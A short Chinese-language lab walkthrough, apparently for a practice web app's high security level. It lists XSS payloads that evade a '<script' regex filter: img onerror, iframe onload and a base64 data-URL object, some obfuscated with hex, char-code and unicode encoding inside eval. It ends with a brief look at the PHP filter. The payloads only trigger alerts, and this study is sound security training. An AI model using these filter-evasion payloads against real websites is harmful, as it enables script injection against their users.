最普通的payload
<script>alert(1)</script>
大小写,双写都不可以,源码对任何形式的script做了过滤所以可以采用不使用 script 的方式。可以通过img、body等标签的事件或者iframe、src等标签的构造可利用的js代码。
方法一
使用 img 标签和其编码转换后的 XSS payload
<img src=1 onerror=alert(/xss/)>
mg标签编码转换后的XSS payload
<img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<img src=1 onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>
方法二
使用 iframe 标签
<iframe onload=alert(/xss/)>
方法三
使用 DATA URL 进行 XSS
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
代码分析
可以看到,high级别的代码使用了正则表达式直接把 <script 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
preg_replace 函数